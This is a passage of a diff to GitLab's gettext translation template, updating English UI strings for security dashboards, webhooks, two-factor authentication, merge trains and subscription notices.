-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
